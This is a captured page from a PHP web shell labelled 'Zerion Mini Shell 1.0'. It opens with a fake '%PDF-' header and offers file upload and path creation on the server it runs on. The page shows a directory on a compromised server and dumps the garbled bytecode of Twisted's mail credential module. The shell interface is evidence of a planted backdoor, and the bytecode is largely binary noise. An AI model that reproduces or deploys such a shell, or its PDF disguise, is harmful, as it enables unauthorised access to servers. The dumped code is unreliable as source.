%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/mail/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/mail/__pycache__/_cred.cpython-312.pyc

�

Ϫ�f�
��^�dZddlZddlZddlmZddlmZddlmZddl	m
Z
mZddlm
Z
ee�Gd�d	��Zee�Gd
�d��Zee�Gd�d
��Zee
�Gd�dej"��Zee
�Gd�dej"��Zgd�Zy)z*
Credential managers for L{twisted.mail}.
�N)�implementer)�credentials)�IllegalClientResponse)�IChallengeResponse�IClientAuthentication)�nativeStringc��eZdZd�Zd�Zd�Zy)�CramMD5ClientAuthenticatorc��||_y�N��user��selfrs  �4/usr/lib/python3/dist-packages/twisted/mail/_cred.py�__init__z#CramMD5ClientAuthenticator.__init__�	����	�c��y)NsCRAM-MD5��rs r�getNamez"CramMD5ClientAuthenticator.getNames��rc��tj||tj��j	�}|j
dz|j
d�zS)N)�	digestmod� �ascii)�hmac�HMAC�hashlib�md5�	hexdigestr�encode)r�secret�chal�responses    r�challengeResponsez,CramMD5ClientAuthenticator.challengeResponses>���9�9�V�T�W�[�[�A�K�K�M���y�y�4��(�/�/�'�":�:�:rN��__name__�
__module__�__qualname__rrr&rrrr
r
s����;rr
c�$�eZdZd�Zd�Zd�Zd�Zy)�LOGINAuthenticatorc�4�||_|j|_yr)r�challengeUsernamer&rs  rrzLOGINAuthenticator.__init__#s����	�!%�!7�!7��rc��y)NsLOGINrrs rrzLOGINAuthenticator.getName'���rc�<�|j|_|jSr)�challengeSecretr&r�rr#r$s   rr.z$LOGINAuthenticator.challengeUsername*s��!%�!5�!5����y�y�rc��|Srrr3s   rr2z"LOGINAuthenticator.challengeSecret/s���
rN)r(r)r*rrr.r2rrrr,r,!s��8���
rr,c��eZdZd�Zd�Zd�Zy)�PLAINAuthenticatorc��||_yrr
rs  rrzPLAINAuthenticator.__init__6rrc��y)NsPLAINrrs rrzPLAINAuthenticator.getName9r0rc�,�d|jzdz|zS)N�r
r3s   rr&z$PLAINAuthenticator.challengeResponse<s���t�y�y� �5�(�6�1�1rNr'rrrr6r64s����2rr6c�$�eZdZd�Zd�Zd�Zd�Zy)�LOGINCredentialsc�j�ddg|_ddg|_tjj	|dd�y)Ns	Passwords
User Namespasswordsusername)�
challenges�	responsesr�UsernamePasswordrrs rrzLOGINCredentials.__init__Bs2��(�.�9���%�{�3����$�$�-�-�d�D�$�?rc�6�|jj�Sr)r>�poprs r�getChallengezLOGINCredentials.getChallengeGs�����"�"�$�$rc�`�t|t|jj��|�yr)�setattrrr?rB)rr%s  r�setResponsezLOGINCredentials.setResponseJs ����l�4�>�>�#5�#5�#7�8�(�Crc�,�t|j�Sr)�boolr>rs r�moreChallengeszLOGINCredentials.moreChallengesMs���D�O�O�$�$rN�r(r)r*rrCrFrIrrrr<r<@s��@�
%�D�%rr<c�$�eZdZd�Zd�Zd�Zd�Zy)�PLAINCredentialsc�F�tjj|dd�yr)rr@rrs rrzPLAINCredentials.__init__Ss���$�$�-�-�d�D�$�?rc��y)Nrrrs rrCzPLAINCredentials.getChallengeVs��rc�x�|jd�}t|�dk7rtd��|\}|_|_y)Nr:�z*Malformed Response - wrong number of parts)�split�lenr�username�password)rr%�parts�uselesss    rrFzPLAINCredentials.setResponseYs7�����u�%���u�:��?�'�(T�U�U�05�-�����
rc��y)NFrrs rrIzPLAINCredentials.moreChallenges_s��rNrJrrrrLrLQs��@��6�rrL)r
r<r,rLr6)�__doc__rr�zope.interfacer�twisted.credr�twisted.mail._exceptr�twisted.mail.interfacesrr�twisted.python.compatrr
r,r6r@r<rL�__all__rrr�<module>r_s����
��&�$�6�M�.�
�
"�#�	;�	;�$�	;�
�
"�#���$��$
�
"�#�2�2�$�2�
�
� �
%�{�3�3�
%�!�
%� 
�
� ��{�3�3��!��"�r

Zerion Mini Shell 1.0